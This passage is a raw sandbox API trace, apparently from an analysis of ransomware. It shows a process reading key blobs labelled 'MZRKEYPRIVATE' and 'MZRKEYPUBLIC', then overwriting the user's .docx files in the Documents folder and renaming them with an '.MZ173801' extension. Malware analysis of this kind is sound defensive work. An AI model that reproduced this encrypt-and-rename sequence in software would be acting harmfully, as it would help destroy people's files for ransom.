"c:\\users\\fd1hvy\\documents\\m_jbgt.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9315ee60, ftCreationTime.dwHighDateTime=0x1d564f9, ftLastAccessTime.dwLowDateTime=0xf84f3330, ftLastAccessTime.dwHighDateTime=0x1d5a4ba, ftLastWriteTime.dwLowDateTime=0xf84f3330, ftLastWriteTime.dwHighDateTime=0x1d5a4ba, nFileSizeHigh=0x0, nFileSizeLow=0x12df)) returned 1 [0168.569] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\m_jbgt.docx")) returned 0x20 [0168.569] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx", dwFileAttributes=0x80) returned 1 [0168.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.572] GetCurrentThreadId () returned 0xab4 [0168.572] GetCurrentThreadId () returned 0xab4 [0168.572] GetCurrentThreadId () returned 0xab4 [0168.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.573] GetCurrentThreadId () returned 0xab4 [0168.573] GetCurrentThreadId () returned 0xab4 [0168.573] GetCurrentThreadId () returned 0xab4 [0168.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\m_jbgt.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.573] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.574] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.574] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x12df [0168.574] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.574] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x12df, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x12df, lpOverlapped=0x0) returned 1 [0168.575] CloseHandle (hObject=0x278) returned 1 [0168.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\m_jbgt.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.576] WriteFile (in: hFile=0x278, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x12df, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0x12df, lpOverlapped=0x0) returned 1 [0168.577] CloseHandle (hObject=0x278) returned 1 [0168.579] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\m_jbgt.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\m_JbGT.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\m_jbgt.docx.mz173801")) returned 1 [0168.580] GetCurrentThreadId () returned 0xab4 [0168.580] GetCurrentThreadId () returned 0xab4 [0168.580] GetCurrentThreadId () returned 0xab4 [0168.580] GetCurrentThreadId () returned 0xab4 [0168.580] GetCurrentThreadId () returned 0xab4 [0168.580] GetCurrentThreadId () returned 0xab4 [0168.580] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x5ee892ad, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x5ee892ad, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0168.580] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba923b0, ftCreationTime.dwHighDateTime=0x1d56cf5, ftLastAccessTime.dwLowDateTime=0x3b40db40, ftLastAccessTime.dwHighDateTime=0x1d58813, ftLastWriteTime.dwLowDateTime=0x3b40db40, ftLastWriteTime.dwHighDateTime=0x1d58813, nFileSizeHigh=0x0, nFileSizeLow=0x2830, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pUtEu.docx", cAlternateFileName="PUTEU~1.DOC")) returned 1 [0168.580] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.580] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx" (normalized: "c:\\users\\fd1hvy\\documents\\puteu.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba923b0, ftCreationTime.dwHighDateTime=0x1d56cf5, ftLastAccessTime.dwLowDateTime=0x3b40db40, ftLastAccessTime.dwHighDateTime=0x1d58813, ftLastWriteTime.dwLowDateTime=0x3b40db40, ftLastWriteTime.dwHighDateTime=0x1d58813, nFileSizeHigh=0x0, nFileSizeLow=0x2830)) returned 1 [0168.580] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx" (normalized: "c:\\users\\fd1hvy\\documents\\puteu.docx")) returned 0x20 [0168.580] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx", dwFileAttributes=0x80) returned 1 [0168.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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